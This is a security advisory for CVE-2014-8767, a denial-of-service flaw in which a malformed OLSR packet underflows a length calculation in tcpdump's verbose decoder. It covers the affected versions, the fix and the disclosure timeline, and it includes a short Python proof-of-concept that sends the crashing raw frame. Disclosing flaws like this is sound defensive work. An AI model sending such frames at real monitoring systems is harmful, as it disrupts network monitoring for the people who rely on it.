CVE-2014-8767 tcpdump denial of service in verbose mode using malformed OLSR payload

CVE-2014-8767 tcpdump denial of service in verbose mode using malformed OLSR payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (OLSR-based) can lead to an application crash (denial of service) if verbose output of tcpdump monitoring the network is used.

3. Technical Description

The application decoder for the OLSR protocol fails to perform external input validation and performs insufficient checking on length computations leading to an unsafe decrement and underflow in the function

olsr_print (const u_char *pptr, u_int length, int is_ipv6)

In this function msg_len is extracted from the input without sufficient checks and subtracted sizeof(struct olsr_msg4) which leads to an underflow of msg_tlen which is used to call olsr_print_neighbor() which will crash. In case DNS reverse lookup is enabled, this will also lead to a large amount of invalid DNS reverse lookups.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide the segfault message on certain environments, see dmesg for details)

and use the following python program to generate a frame on the network (might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

olsr_frame = "\x00\x1b\xc6\x51\x35\x97\x00\x24\x8c\x7a\xff\x6f\x08\x00\x4
5\x15\x00\x3d\xf3\x7f\x40\x00\x4d\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\xba\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x20\x01\x00\x00\x00"

s.send(olsr_frame)

4. Affected versions

Affected versions are 3.9.6 through 4.6.2

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop (https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.